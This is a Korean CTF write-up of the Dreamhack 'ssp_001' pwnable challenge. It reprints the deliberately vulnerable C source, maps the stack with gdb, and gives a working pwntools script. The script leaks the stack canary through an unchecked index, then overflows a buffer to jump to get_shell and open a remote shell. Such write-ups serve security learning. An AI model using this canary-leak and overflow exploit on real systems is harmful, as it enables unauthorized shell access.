풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
제공된 코드를 살펴보면 box와 name 모두 크기가 0x40으로 지정되어 있다. box는 정해진 크기만큼 입력을 받고, name은 사용자가 입력한 크기만큼 입력을 받는데 입력 크기 제한이 따로 있지 않아서 이 부분에서 버퍼오버플로우가 발생한다. 그리고 P 부분에서 입력된 인덱스의 box 값을 읽어주는데 따로 입력 인덱스에 제한을 두고 있지 않다. 이 부분에서느 카나리릭이 발생한다.
이제 gdb를 통해서 스택프레임 형태를 확인해보자. while 안쪽 부분만 살펴보자.
0x08048795 <+106>: push 0x2
0x08048797 <+108>: lea eax,[ebp-0x8a] #select
0x0804879d <+114>: push eax
0x0804879e <+115>: push 0x0
0x080487a0 <+117>: call 0x80484a0 <read@plt> #read(0, select,2)
0x080487a5 <+122>: add esp,0xc
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88] #box
0x080487db <+176>: push eax
0x080487dc <+177>: push 0x0
0x080487de <+179>: call 0x80484a0 <read@plt> #read(0,box, sizeof(box))
0x080487e3 <+184>: add esp,0xc
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94] #idx
0x080487fe <+211>: push eax
0x080487ff <+212>: push 0x804898a
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt> #scanf("%d", &idx)
0x08048809 <+222>: add esp,0x8
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90] #name_len
0x08048837 <+268>: push eax
0x08048838 <+269>: push 0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt> #scanf("%d", &name_len)
0x08048842 <+279>: add esp,0x8
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90] #name_len
0x08048858 <+301>: push eax
0x08048859 <+302>: lea eax,[ebp-0x48] #name
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt> #read(0, name, name_len)
0x08048864 <+313>: add esp,0xc
[ebp-0x8a] : select
[ebp-0x88] : box
[ebp-0x94] : idx
[ebp-0x48] : name
[ebp-0x90] : name_len
인 것을 알 수 있다.
먼저 반환주소를 확인해주고,
그 다음 SFP를 확인해주고,
적당히 돌리고 ebp-0x8에서부터 8개 바이트값을 읽어보았다. 그리고 canary 값을 확인해본 결과, dummy 값이 있다는 것을 알 수 있다.
(사실 나는 이런 유식한 방법을 쓰지 않고 print_box를 이용해서 최대한 많은 메모리값을 출력해서 스택이 끝나는 지점, canary와 SFP 사이에 더미가 있다는 사실을 때려맞췄다.. 하나하나 세봤다 ㅎ)
알아낸 정보를 바탕으로 익스플로잇 코드를 작성했다.
from pwn import *
p = remote('host3.dreamhack.games', 20417)
e = ELF("./ssp_001")
get_shell = e.symbols['get_shell']
cnry = b''
for i in range(128,132):
p.recvuntil(b'>')
p.sendline(b'P')
p.sendlineafter(b':', b'%d' % i)
p.recvuntil(b': ')
canary_byte = p.recvn(2)
cnry += bytes.fromhex(canary_byte.decode())
print("cannary:", cnry)
p.recvuntil(b'>')
p.sendline(b'E')
p.recvuntil(b':')
p.sendline(b'80')
payload = b'A'* 64 + cnry + b'A'* 8 + p32(get_shell)
p.sendlineafter(b':',payload)
p.interactive()
print_box를 이용해서 canary 값을 찾아냈다. 여기서 꼭 바이트 형식(\x)에 맞게 해줘야한다는 걸 잊지말아야한다. 이것 때문에 한참 헤맸다. 그리고 canary 값과 함께 버퍼오버플로우를 발생시키는 페이로드를 작성하여 넘겨주었다.
그리고 코드를 실행하면 셸을 얻고 flag 파일을 읽을 수 있다!
배운것
1. byte 형식! 잊지말기
2. `ELF`와 `symbols`를 이용하면 함수주소를 찾는 작업을 하지 않아도 된다!
'Write-up > Pwnable' 카테고리의 다른 글
[Dreamhack] Return to Shellcode (0) | 2024.05.22 |
---|---|
[Dreamhack] basic_exploitation_001 (0) | 2024.05.20 |
[Dreamhack] basic_exploitation_000 (0) | 2024.05.20 |
[Dreamhack] Return Address Overwrite (0) | 2024.05.20 |
[Dreamhack] shell_basic (0) | 2024.05.11 |